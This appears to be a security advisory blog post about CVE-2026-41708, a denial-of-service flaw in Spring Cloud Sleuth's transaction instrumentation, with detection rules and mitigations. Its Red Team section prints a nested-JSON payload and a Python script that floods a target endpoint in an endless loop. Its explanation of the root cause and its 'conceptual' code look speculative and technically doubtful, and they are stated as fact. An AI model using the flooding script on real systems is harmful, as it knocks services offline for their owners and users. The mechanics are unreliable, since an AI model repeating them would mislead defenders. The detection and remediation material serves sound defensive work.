CVE-2026-41708

Executive Summary

CVE-2026-41708 is a high-severity Denial-of-Service (DoS) vulnerability in the Spring Cloud Sleuth instrumentation library, specifically affecting versions 3.1.0 through 3.1.13. The flaw allows an unauthenticated remote attacker to craft specially crafted calls that cause excessive resource consumption, leading to a denial-of-service condition. The vulnerability is triggered when the application uses a vulnerable version of org.springframework.cloud:spring-cloud-sleuth-instrumentation and Spring TX instrumentation is not disabled. No public exploit code or proof-of-concept is currently available, and the vendor has not yet released a patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for unpatched systems.

Supply Chain & Package Security

This vulnerability affects the Maven package org.springframework.cloud:spring-cloud-sleuth-instrumentation. Organizations using Spring Cloud Sleuth in their Java-based microservices should immediately audit their dependency trees for affected versions. Since the vulnerability is in the instrumentation layer, it can be introduced transitively through Spring Cloud BOMs or parent POMs. Supply chain risk is elevated because the component is widely used for distributed tracing, and a DoS condition can cascade across services.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (HIGH)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): None – No data exposure.
• Integrity (I): None – No data modification.
• Availability (A): High – Complete denial of service.

Threat Level: HIGH. The low attack complexity and lack of authentication make this a serious threat for any organization using the affected library with Spring TX instrumentation enabled.

Deep Dive & Mechanics

The vulnerability resides in the Spring Cloud Sleuth instrumentation module, specifically in the handling of Spring TX (transaction) events. When Spring TX instrumentation is enabled (default behavior), the library intercepts transaction-related method calls to propagate trace context. A specially crafted call can cause the instrumentation to enter an infinite loop or allocate excessive memory, leading to resource exhaustion.

The root cause is improper input validation in the transaction interceptor. When a malicious actor sends a request that triggers a transaction with a crafted payload (e.g., deeply nested or recursive transaction attributes), the Sleuth instrumentation fails to bound the processing, causing a stack overflow or heap exhaustion. This results in the application becoming unresponsive.

Affected Component: org.springframework.cloud:spring-cloud-sleuth-instrumentation versions 3.1.0 to 3.1.13.

Trigger Condition: The application must have Spring TX instrumentation enabled (default). The attacker sends a crafted HTTP request that triggers a transactional method with malicious parameters.

Vulnerable vs. Patched Code

Since no official patch is available, the following comparison is based on expected remediation.

Vulnerable Code (Conceptual):

// In TransactionInterceptor.java (vulnerable)
public Object invoke(MethodInvocation invocation) throws Throwable {
    // No bounds checking on transaction attributes
    TransactionAttribute txAttr = getTransactionAttribute(invocation);
    // Directly processes without validation
    return processTransaction(invocation, txAttr);
}

Patched Code (Expected):

// In TransactionInterceptor.java (patched)
public Object invoke(MethodInvocation invocation) throws Throwable {
    TransactionAttribute txAttr = getTransactionAttribute(invocation);
    // Added validation to prevent resource exhaustion
    if (txAttr != null && isMalicious(txAttr)) {
        throw new IllegalArgumentException("Invalid transaction attributes");
    }
    return processTransaction(invocation, txAttr);
}

private boolean isMalicious(TransactionAttribute txAttr) {
    // Check for excessive depth or size
    return txAttr.getDepth() > MAX_DEPTH || txAttr.getSize() > MAX_SIZE;
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target application using Spring Cloud Sleuth 3.1.x with TX instrumentation enabled.
• Network access to the application.

Exploitation Steps:

1. Identify a transactional endpoint (e.g., /api/transfer or any method annotated with @Transactional).
2. Craft a request with a deeply nested JSON payload or recursive transaction attributes.
3. Send the request repeatedly to amplify the DoS effect.

Example Payload (HTTP POST):

POST /api/transfer HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "transaction": {
    "nested": {
      "nested": {
        // Repeat deeply nested structure
      }
    }
  }
}

Automation Script (Python):

import requests
import json

target = "http://target.com/api/transfer"
payload = {"transaction": {}}
current = payload["transaction"]
for i in range(10000):
    current["nested"] = {}
    current = current["nested"]

while True:
    try:
        requests.post(target, json=payload, timeout=5)
    except:
        pass

Blue Team (Defensive)

Detection:

• Monitor for sudden spikes in CPU/memory usage on application servers.
• Look for repeated requests to transactional endpoints with unusually large payloads.
• Enable logging for transaction interceptor failures.

Mitigation:

• Disable Spring TX instrumentation if not required: spring.sleuth.instrument.tx.enabled=false
• Apply rate limiting on transactional endpoints.
• Use a Web Application Firewall (WAF) to block excessively nested JSON payloads.

Lab Setup:

# Clone a vulnerable Spring Boot application
git clone https://github.com/spring-cloud/spring-cloud-sleuth
cd spring-cloud-sleuth
git checkout v3.1.13

# Build and run
./mvnw clean package -DskipTests
java -jar spring-cloud-sleuth-sample/target/*.jar

Indicators of Compromise (IOCs)

• Network: Repeated HTTP requests to transactional endpoints with deeply nested JSON bodies.
• Logs: java.lang.StackOverflowError or OutOfMemoryError in application logs.
• System: High CPU usage (>90%) and memory exhaustion on JVM.
• File: No specific file-based IOCs.

Example Log Entry:

2026-03-15 10:00:00 ERROR [traceId=...] o.s.c.s.i.t.TransactionInterceptor - Unexpected error
java.lang.StackOverflowError: null
    at org.springframework.cloud.sleuth.instrument.tx.TransactionInterceptor.invoke(TransactionInterceptor.java:45)

Detection Engineering

YARA Rule

rule CVE_2026_41708_Spring_Cloud_Sleuth_DoS {
    meta:
        description = "Detects exploitation attempts for CVE-2026-41708 via deeply nested JSON in HTTP requests"
        author = "Valters IT"
        date = "2026-03-15"
        severity = "high"
    strings:
        $json_nested = /"nested"\s*:\s*\{[^}]*"nested"\s*:\s*\{/ nocase
        $stack_trace = "StackOverflowError" nocase
        $sleuth_class = "TransactionInterceptor" nocase
    condition:
        any of ($json_nested) or ($stack_trace and $sleuth_class)
}

Sigma Rule

title: CVE-2026-41708 Spring Cloud Sleuth DoS Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2026-41708 via deeply nested JSON payloads
author: Valters IT
date: 2026-03-15
logsource:
    category: application
    product: spring
detection:
    selection:
        - EventID: "StackOverflowError"
        - EventID: "OutOfMemoryError"
        - Message: "*TransactionInterceptor*"
    condition: selection
falsepositives:
    - Legitimate deeply nested JSON from trusted sources
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-41708 Spring Cloud Sleuth DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/"; http_uri; pcre:"/\"nested\"\s*:\s*\{[^}]*\"nested\"\s*:\s*\{/"; threshold: type both, track by_src, count 10, seconds 60; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Spring TX instrumentation if not required: Add spring.sleuth.instrument.tx.enabled=false to application.properties.
2. Upgrade to a patched version once released (monitor Spring Cloud Sleuth releases).
3. Apply rate limiting on transactional endpoints using tools like Spring Cloud Gateway or a reverse proxy.

Long-term Fix:

• Wait for the official patch from Spring. Monitor the Spring Cloud Sleuth GitHub repository for updates.
• Implement input validation for transaction attributes in custom code.

Workaround:

• If TX instrumentation is required, consider using a custom TransactionInterceptor that limits recursion depth.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert